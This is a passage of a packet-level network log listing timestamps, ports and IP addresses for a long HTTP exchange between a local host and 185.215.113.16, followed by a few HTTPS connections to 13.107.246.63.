Dec 8, 2024 15:38:56.088999987 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.089030981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.089061022 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.090080976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.090132952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.090154886 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.090202093 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.091248035 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.091260910 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.091305017 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.091322899 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.092448950 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.092499018 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.093404055 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.093456030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.093786955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.093799114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.093828917 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.093842030 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.094757080 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.094801903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.094877005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.094917059 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.095963955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.096007109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.096015930 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.096057892 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.097141981 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.097204924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.097783089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.097841024 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.098398924 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.098453045 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.098786116 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.098834038 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.099574089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.099615097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.100439072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.100482941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.100620985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.100658894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.101819992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.101831913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.101866961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.101875067 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.101927996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.103038073 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.103086948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.104160070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.104172945 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.104191065 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.104207993 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.104235888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.105324984 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.105372906 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.105808973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.105854988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.106518030 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.106534004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.106568098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.106580019 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.107789040 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.107836008 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.108789921 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.108844995 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.108958960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.108969927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.109010935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.110023975 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.110071898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.110312939 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.110363007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.111242056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.111290932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.112406969 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.112420082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.112432003 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.112451077 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.112473011 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.113544941 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.113595963 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.113687038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.113735914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.114733934 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.114782095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.114948988 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.115005970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.115885973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.115931988 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.116405964 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.116455078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.117057085 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.117074966 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.117106915 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.117120981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.118210077 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.118258953 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.118647099 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.118691921 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.119417906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.119467020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.119752884 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.119805098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.120619059 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.120666981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.120837927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.120884895 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.121818066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.121830940 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.121872902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.122972012 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.123025894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.124154091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.124166012 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.124201059 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.124202013 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.124236107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.125281096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.125333071 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.126499891 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.126511097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.126523972 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.126545906 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.126566887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.127604961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.127655029 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.258785963 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.258984089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.259025097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.259085894 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.259478092 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.259490013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.259526968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.259548903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.260663033 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.260719061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.261614084 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.261626959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.261639118 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.261679888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.261712074 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.262736082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.262782097 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.262993097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.263039112 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.264051914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.264092922 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.265109062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.265120029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.265130997 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.265172005 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.265216112 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.266258955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.266319990 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.266563892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.266613960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.267448902 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.267498016 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.268635988 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.268649101 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.268663883 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.268688917 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.268703938 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.269738913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.269795895 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.270092010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.270144939 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.270901918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.270951033 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.271286011 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.271332979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.272094965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.272146940 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.273021936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.273073912 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.273402929 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.273415089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.273451090 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.273471117 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.274415016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.274476051 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.274552107 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.274602890 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.275592089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.275639057 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.276012897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.276063919 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.276820898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.276833057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.276870966 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.276884079 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.278645039 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.278700113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.278979063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.279025078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.279120922 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.279141903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.279169083 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.279181957 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.280281067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.280333996 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.281492949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.281505108 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.281543970 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.281548023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.281563044 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.281585932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.282660961 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.282713890 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.282753944 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.282799959 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.283818960 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.283859968 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.283875942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.283894062 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.285002947 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.285063028 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.286185980 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.286197901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.286210060 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.286245108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.286283970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.287348032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.287403107 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.288541079 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.288552999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.288564920 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.288594007 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.288623095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.289680004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.289741993 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.290343046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.290396929 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.290857077 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.290908098 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.291008949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.291059971 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.292115927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.292169094 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.292227983 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.292275906 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.293226004 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.293277979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.293350935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.293437004 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.294421911 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.294472933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.294692993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.294743061 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.295547962 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.295599937 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.295649052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.295711994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.298683882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.298746109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.299506903 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.299519062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.299530029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.299669027 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.299680948 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.299771070 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.299771070 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.300595999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.300652981 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.300728083 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.300771952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.301685095 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.301734924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.302391052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.302438021 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.303096056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.303109884 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.303144932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.303824902 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.303867102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.304126024 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.304174900 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.305016994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.305099010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.306132078 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.306143999 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.306173086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.306183100 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.306212902 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.307439089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.307488918 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.307785034 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.307825089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.308609009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.308655024 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.310055971 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.310067892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.310081005 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.310103893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.310117960 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.310911894 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.310957909 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.311805010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.311852932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.312200069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.312244892 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.312880993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.312943935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.313218117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.313230038 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.313257933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.313273907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.314420938 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.314425945 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.314472914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.314485073 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.315582037 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.315630913 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.316095114 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.316143036 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.316788912 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.316795111 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.316836119 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.316849947 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.318206072 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.318217993 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.318244934 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.318259001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.319792986 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.319835901 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.319983006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.320029020 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.321072102 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:56.321120977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:56.400454998 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.401020050 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.401072025 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.401529074 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.401549101 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.408452034 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.408737898 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.408855915 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.408875942 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:56.409276962 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:56.409286022 CET	443	49832	13.107.246.63	192.168.2.6
